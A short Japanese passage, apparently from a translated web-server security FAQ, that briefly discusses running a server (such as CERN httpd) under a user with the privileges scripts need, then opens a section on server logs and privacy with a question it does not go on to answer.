もうひとつのオプションとしては、サーバ自身をスクリプトが必要とする特権を十分に持つユーザとして動作させる方法があります。 もしCERN サーバを使っているのであれば、それぞれのスクリプトに対し異なったユーザとして動作させることもできます。 詳細は CERN のマニュアルを参照してください。



8. サーバのログとプライバシー

(本セクションのQ&Aにご尽力いただいた Bob Bagwill氏 に感謝します。)

Q51: ユーザがプライベートにしておきたいと思っていることを明らかにしてしまう情報にはどのようなものがありますか?